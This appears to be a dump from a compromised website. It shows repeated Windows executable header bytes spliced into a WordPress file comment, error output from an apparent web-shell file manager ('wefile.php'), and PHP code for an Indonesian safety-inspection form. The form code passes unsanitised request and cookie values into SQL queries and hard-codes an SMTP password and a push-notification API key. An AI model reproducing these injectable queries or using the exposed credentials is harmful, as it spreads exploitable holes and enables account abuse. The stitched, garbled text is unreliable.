MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
Warning: Undefined variable $authorization in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36
Warning: Undefined variable $translation in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97
Warning: Trying to access array offset on value of type null in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 98
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ja.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 99
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
="1" || $no<="9"){
$code=sprintf("%04s", $no);
}
elseif($no>="10" || $no<="99")
{
$code=sprintf("%03s", $no);
}
elseif($no>="100" || $no<="999")
{
$code=sprintf("%02s", $no);
}
elseif($no>="1000" || $no<="9999")
{
$code=sprintf("%01s", $no);
}
elseif($no>="10000" || $no<="99999")
{
$code=sprintf("%0s", $no);
}
else
{
$code=sprintf("%04s", $no);
}
function Romawi($n){
$hasil = "";
$iromawi =
array("","I","II","III","IV","V","VI","VII","VIII","IX","X",
10=>"X",20=>"XX",30=>"XXX",40=>"XL",50=>"L",60=>"LX",70=>"LXX",80=>"LXXX",
90=>"XC",100=>"C",200=>"CC",300=>"CCC",400=>"CD",500=>"D",
600=>"DC",700=>"DCC",800=>"DCCC",900=>"CM",1000=>"M",
2000=>"MM",3000=>"MMM");
if(array_key_exists($n,$iromawi)){
$hasil = $iromawi[$n];
}elseif($n >= 11 && $n <= 99){
$i = $n % 10;
$hasil = $iromawi[$n-$i] . Romawi($n % 10);
}elseif($n >= 101 && $n <= 999){
$i = $n % 100;
$hasil = $iromawi[$n-$i] . Romawi($n % 100);
}else{
$i = $n % 1000;
$hasil = $iromawi[$n-$i] . Romawi($n % 1000);
}
return $hasil;
}
$bln=Romawi($bln);
$nohr = "$code-IH/SHE-PST/$_POST[site]/$bln-$thn";
$dat=mysql_query("select * from shemanpower where id='$_COOKIE[ids]'");
$editv=mysql_fetch_array($dat);
$_SESSION[nohr]="$nohr";
$resultzf=mysql_query("SELECT * FROM shemanpower where inspeksiawal!='' AND dept='$editv[dept]' AND site='$editv[site]'");
while($editvfh=mysql_fetch_array($resultzf)){
$_SESSION[namaid]="$_SESSION[namaid] $editvfh[id] $editvfh[nama]";
}
$queryy = mysql_query("INSERT INTO sheinspeksi (perbaikan,status,no,nohr,nama,tgl,jab,dept,pukul,iduser,site,gambar,gambar2) VALUES
('$_POST[perbaikan]','$_COOKIE[ids] $editv[nama] $_SESSION[namaid]','$code','$nohr','$editv[nama]','$_POST[tgl]','$editv[jab]','$editv[dept]','$_POST[pukul]', '$_COOKIE[ids]', '$_POST[site]', '$_SESSION[fotoinspeksi]', '$_SESSION[fotoinspeksi2]')");
$dat=mysql_query("select * from sheinspeksi where iduser='$_COOKIE[ids]' order by id desc");
$editr=mysql_fetch_array($dat);
$_SESSION[idsim]="$editr[id]";
$_SESSION[id]="$editr[id]";
$_SESSION[nohr]="$nohr";
$dat=mysql_query("select * from shelokasi where site like '%$_POST[site]%' AND lokasi='$_POST[lokasi]'");
$editffv=mysql_fetch_array($dat);
$idlokasi=$editffv[id];
$lokasi=$_POST["lokasi"];
$lokasilainnya=$_POST["lokasilainnya"];
$queryy = mysql_query("INSERT INTO sheinslokasi (idlokasi,idhazard,lokasi,lokasilainnya,site,idkaryawan) VALUES
('$idlokasi','$editr[id]','$lokasi','$lokasilainnya','$_POST[site]','$_COOKIE[ids]')");
$resultzdd=mysql_query("SELECT * FROM sheinspeksipilihan where inspeksi = 'INSPEKSI HARIAN GENERAL' AND inspeksi2 = '' order by id ASC");
$rdd="1";
while($rowsdd=mysql_fetch_array($resultzdd)){
$tindakan=$_POST["tindakann$rdd"];
$patuh=$_POST["patuh$rdd"];
$tindakanlainnya=$_POST["tindakanlainnya$rdd"];
$idtindakan=$_POST["idtindakan$rdd"];
if($patuh!=""){
$queryy = mysql_query("INSERT INTO sheinstindakan (patuh,idhazard,tindakan,tindakanlainnya,idtindakan,site,idkaryawan) VALUES
('$patuh','$editr[id]','$tindakan','$tindakanlainnya','$idtindakan','$_POST[site]','$_COOKIE[ids]')");
}
elseif($tindakanlainnya!=""){
$queryy = mysql_query("INSERT INTO sheinstindakan (patuh,idhazard,tindakan,tindakanlainnya,idtindakan,site,idkaryawan) VALUES
('$patuh','$editr[id]','$tindakan','$tindakanlainnya','$idtindakan','$_POST[site]','$_COOKIE[ids]')");
}
else{
}
$rdd++;}
$resultzfh=mysql_query("SELECT * FROM sheinspeksipilihan where inspeksi = 'INSPEKSI HARIAN GENERAL' AND inspeksi2='Tindakan langsung' order by id ASC");
$rddf="1";
while($rowsfh=mysql_fetch_array($resultzfh)){
$tindakanlangsung=$_POST["tindakanlangsungg$rddf"];
$tindakanlangsunglainnya=$_POST["tindakanlangsunglainnya$rddf"];
$idlangsung=$_POST["idlangsung$rddf"];
if($tindakanlangsung==""){}else{
$queryy = mysql_query("INSERT INTO sheinstindakan2 (idlangsung,idhazard,tindakanlangsung,tindakanlangsunglainnya,site,idkaryawan) VALUES
('$idlangsung','$editr[id]','$tindakanlangsung','$tindakanlangsunglainnya','$_POST[site]','$_COOKIE[ids]')");
}
$rddf++;}
$_SESSION[fotoinspeksi]="";
$_SESSION[fotoinspeksi2]="";
require_once('class.phpmailer.php');
$resultzf=mysql_query("SELECT * FROM shemanpower where inspeksiawal!='' AND dept='$editv[dept]' AND site='$editv[site]'");
$rdd="1";
while($editvfh=mysql_fetch_array($resultzf)){
$mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch
$mail->IsSMTP(); // telling the class to use SMTP
try {
$mail->Host = "putrasarana.com"; // SMTP server
$mail->SMTPDebug = 2; // enables SMTP debug information (for testing)
$mail->SMTPAuth = true; // enable SMTP authentication
$mail->SMTPSecure = "ssl"; // sets the prefix to the servier
$mail->Host = "putrasarana.com"; // sets GMAIL as the SMTP server
$mail->Port = 465; // set the SMTP port for the GMAIL server
$mail->Username = "system@putrasarana.com"; // GMAIL username
$mail->Password = "system27072010"; // GMAIL password
$mail->AddReplyTo('system@putrasarana.com', 'Inspeksi Harian');
$mail->AddAddress("$editvfh[email]", "$editvfh[nama]");
$mail->addCC("edya@putrasarana.com");
$mail->AddReplyTo('system@putrasarana.com', 'Inspeksi Harian');
$mail->SetFrom('system@putrasarana.com', 'Inspeksi Harian');
$mail->Subject = 'Inspeksi Harian';
$mail->AltBody = ''; // optional - MsgHTML will create an alternate automatically
$mail->Body = "
Inspeksi Harian (No Repply)
Kepada Bapak $editvfh[nama] untuk mengecek Inspeksi Harian
sebagai berikut...
No.Reg : $nohr
Tanggal : $_POST[tgl]
Pukul : $_POST[pukul]
Link : https://putrasarana.com/she/cekins.php?id=$editr[id]
Terima kasih
";
$mail->Send();
} catch (phpmailerException $e) {
} catch (Exception $e) {
}
$rdd++;}
function sendMessage(){
$content = array(
"en" => "Inspeksi Harian $_SESSION[nohr]"
);
$heading = array(
"en" => "Inspeksi Harian $_SESSION[nohr]"
);
$fields = array(
'app_id' => "ba32fa6a-e997-408d-8b59-a92d5b956c22",
'included_segments' => array('All'),
'data' => array("foo" => "bar"),
'small_icon' =>"https://putrasarana.com/she/logo.png",
'large_icon' =>"https://putrasarana.com/she/logo.png",
'url' => "she.https://putrasarana.com/she/index_admin.php?menu=datainspeksi&id=$_SESSION[id]",
'headings' => $heading,
'priority' => '1',
'contents' => $content
);
$fields = json_encode($fields);
//print("\nJSON sent:\n");
//print($fields);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://onesignal.com/api/v1/notifications");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json; charset=utf-8',
"Authorization: Basic MDFkNmUxOWItYzM2OC00ODhmLTliYmUtZGRjMTM2ZmRhYjE0"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
$response = sendMessage();
$return["allresponses"] = $response;
$return = json_encode( $return);
}else{ }
?>